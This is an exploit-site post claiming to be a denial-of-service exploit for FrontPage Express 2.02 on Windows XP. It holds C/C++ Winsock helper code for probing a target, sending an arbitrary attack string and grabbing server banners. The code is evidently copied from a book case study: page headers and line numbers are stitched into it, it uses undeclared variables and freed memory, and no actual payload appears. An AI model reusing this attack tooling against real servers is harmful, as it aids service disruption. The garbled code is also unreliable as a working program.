# Title :frontpage_express2.02 Denial of Service winsock
# Author :TrOoN
# E-mail : SOUrRce-x@live.fr  | www.facebook.com/fysl.fyslm
# Home : city 617 logts  : Draria . algeria
# Web Site : www.1337day.com       |
# platform :  WinDows XP sp 2
# Type : local exploit /SHELL CODE  /ETc...
#Download link : http://www.jetelecharge.com/Internet/271.php

# waRn :  frontpage_express2.02 no frontpage
 ~~

######################################## Begin ##################################
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")
#define STRING_MAX 65536
#define MAX 8388608
char *junk(char *input, int repeat)
{
int maxSize;
char *junkString = new char[STRING_MAX];
strcpy(junkString, "");

if( repeat < STRING_MAX && repeat > 0 && strlen(input) != 0
&& strlen(input) <= (STRING_MAX - 1))
{
maxSize = (STRING_MAX - 1)/strlen(input);
for(int count = 0; count < repeat
&& count < maxSize; count++)
{
strcat(junkString, input);
}
}
else
{
23 printf("Invalid Perameters! \n");
strcpy(junkString,"--FAILURE--");
 : }
delete [ ] junkString;
return (junkString);
}
bool is_up(char *targetip, int port)
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent target_ptr;
struct sockaddr_in sock;
SOCKET MySock;
wVersionRequested = MAKEWORD(2, 2);
3if (WSAStartup(wVersionRequested, &wsaData) < 0)
{
printf("############ERROR!####################\n");
printf("Your ws2_32.dll is too old to use this
application. \n");
printf("Go to microsofts web site to download the most
recent \n");
42 printf("version of ws2_32.dll.
\n");

Frontpage Denial of Service  WinSock • Case Study 1 145
WSACleanup();
return (FALSE);
}
MySock = socket(AF_INET, SOCK_STREAM, 0);
if(MySock==INVALID_SOCKET)
{
printf("Socket error!\r\n");
closesocket(MySock);
WSACleanup();
return (FALSE);
}
if ((pTarget = gethostbyname(targetip)) == NULL)
{
printf("\nResolve of %s failed, please try again.\n",
targetip);

closesocket(MySock);
WSACleanup();
return (FALSE);
 }
 memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);
if ( (connect(MySock, (struct sockaddr *)&sock, sizeof (sock) )))
{
 closesocket(MySock);
WSACleanup();

return (FALSE);
 }
 else
{
closesocket(MySock);
WSACleanup();
return (TRUE);
}
}
 bool is_string_in(char *needle, char *haystack)
 {
 char *loc = strstr(haystack, needle);
if( loc != NULL )
{
return(TRUE);
 }
 else
{
return(FALSE);
 }
 }
char *replace_string(char *new_str, char *old_str, char *whole_str)
 Case Study 1 • Frontpage Denial of Service Utilizing WinSock
{
 int len = strlen(old_str);
char buffer[MAX] = "";
char *loc = strstr(whole_str, old_str);
 if(loc != NULL)
 {
 strncpy(buffer, whole_str, loc-whole_str );
strcat(buffer, new_str);
 strcat(buffer, loc + (strlen(old_str)));
 strcpy(whole_str, buffer);
 }
 return whole_str;
 }
 char *send_exploit(char *targetip, int port, char *send_string)
 {
 WSADATA wsaData;
 WORD wVersionRequested;
 struct hostent target_ptr;
 struct sockaddr_in sock;
 SOCKET MySock;
 wVersionRequested = MAKEWORD(2, 2);
 if (WSAStartup(wVersionRequested, &wsaData) != 0)
 {
 printf("############### ERROR!######################\n");
 printf("Your ws2_32.dll is too old to use this
application. \n");
 printf("Go to Microsoft's web site to download the most
recent \n");
 printf("version of ws2_32.dll.
\n");
 WSACleanup();
 exit(1);
 }
 MySock = socket(AF_INET, SOCK_STREAM, 0);
if(MySock==INVALID_SOCKET)
 {
 printf("Socket error!\r\n");

 closesocket(MySock);
WSACleanup();
 exit(1);
 }
if ((pTarget = gethostbyname(targetip)) == NULL)
 { printf("Resolve of %s failed, please try again.\n",
targetip);

 closesocket(MySock);
 WSACleanup();
 exit(1);
Frontpage Denial of Service Utilizing WinSock • Case Study 1 147
 }
 memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
 sock.sin_family = AF_INET;
 sock.sin_port = htons((USHORT)port);

 if ( (connect(MySock, (struct sockaddr *)&sock, sizeof (sock) )))
 {
 printf("Couldn't connect to host.\n");

 closesocket(MySock);
 WSACleanup();
 exit(1);
 }
 char sendfile[STRING_MAX];
 strcpy(sendfile, send_string);
 if (send(MySock, sendfile, sizeof(sendfile)-1, 0) == -1)
 {
 printf("Error sending Packet\r\n");
 closesocket(MySock);
 exit(1);
 }

 send(MySock, sendfile, sizeof(sendfile)-1, 0);
 char *recvString = new char[MAX];
 int nret;
nret = recv(MySock, recvString, MAX + 1, 0);
char *output= new char[nret];
strcpy(output, "");
if (nret == SOCKET_ERROR)
 {
 printf("Attempt to receive data FAILED. \n");
 }
 else
 {
 strncat(output, recvString, nret);
 delete [ ] recvString;
 }
 closesocket(MySock);
 WSACleanup();
 return (output);
 delete [ ] output;
 }
 char *get_http(char *targetip, int port, char *file)
 {
 WSADATA wsaData;
 WORD wVersionRequested;
 struct hostent target_ptr;
 struct sockaddr_in sock;
 SOCKET MySock;
 Case Study 1 • Frontpage Denial of Service Utilizing WinSock

 wVersionRequested = MAKEWORD(2, 2);
 if (WSAStartup(wVersionRequested, &wsaData) < 0)
 {
 printf("################# ERROR! ###################\n");
 printf("Your ws2_32.dll is too old to use this
application. \n");
 printf("Go to microsofts web site to download the most
recent \n");
195 printf("version of ws2_32.dll.
\n");

 WSACleanup();
 exit(1);
 }
 MySock = socket(AF_INET, SOCK_STREAM, 0);
 if(MySock==INVALID_SOCKET)
 {
 printf("Socket error!\r\n");

 closesocket(MySock);
 WSACleanup();
 exit(1);
 }
 if ((pTarget = gethostbyname(targetip)) == NULL)
 {
 printf("Resolve of %s failed, please try again.\n",
targetip);

 closesocket(MySock);
 WSACleanup();
 exit(1);
 }
 memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
 sock.sin_family = AF_INET;
 sock.sin_port = htons((USHORT)port);

 if ( (connect(MySock, (struct sockaddr *)&sock, sizeof (sock) )))
 {
 printf("Couldn't connect to host.\n");

 closesocket(MySock);
 WSACleanup();
 exit(1);
 }
 char sendfile[STRING_MAX];
 strcpy(sendfile, "GET ");
 strcat(sendfile, file);
 strcat(sendfile, " HTTP/1.1 \r\n" );
 strcat(sendfile, "Host: localhost\r\n\r\n");
Frontpage Denial of Service Utilizing WinSock • Case Study 1 149
 if (send(MySock, sendfile, sizeof(sendfile)-1, 0) == -1)
{
 printf("Error sending Packet\r\n");
 closesocket(MySock);
 WSACleanup();
 exit(1);
 }
 send(MySock, sendfile, sizeof(sendfile)-1, 0);

 char *recvString = new char[MAX];
 int nret;
 nret = recv(MySock, recvString, MAX + 1, 0);

 char *output= new char[nret];
 strcpy(output, "");
 if (nret == SOCKET_ERROR)
 {
 printf("Attempt to receive data FAILED. \n");
 }
 else
 {
strncat(output, recvString, nret);
 delete [ ] recvString;
 }
 closesocket(MySock);
 WSACleanup();
 return (output);
 delete [ ] output;
 }
 char *banner_grab(char *targetip, int port)
{
 char start_banner[] = "Server:";
 char end_banner[] = "\n";
 int start = 0;
 int end = 0;
 char* ret_banner = new char[MAX];
char* buffer = get_http(targetip, port, "/");

int len = strlen(buffer);

 char *pt = strstr(buffer, start_banner );

 if( pt != NULL )
 {
 start = pt - buffer;
 for(int x = start; x < len; x++)
 {
 if(_strnicmp( buffer + x, end_banner, 1 ) == 0)
 {
 Case Study 1 • Frontpage Denial of Service Utilizing WinSock
 end = x;
 x = len;
 }
 }
 strcpy(ret_banner, " ");
 strncat (ret_banner, buffer + start - 1 , (end - start));
 }
 else
 {
 strcpy(ret_banner, "EOF");
 }
 return (ret_banner);
 delete [ ] ret_banner;
 }
  ################### ENd ########################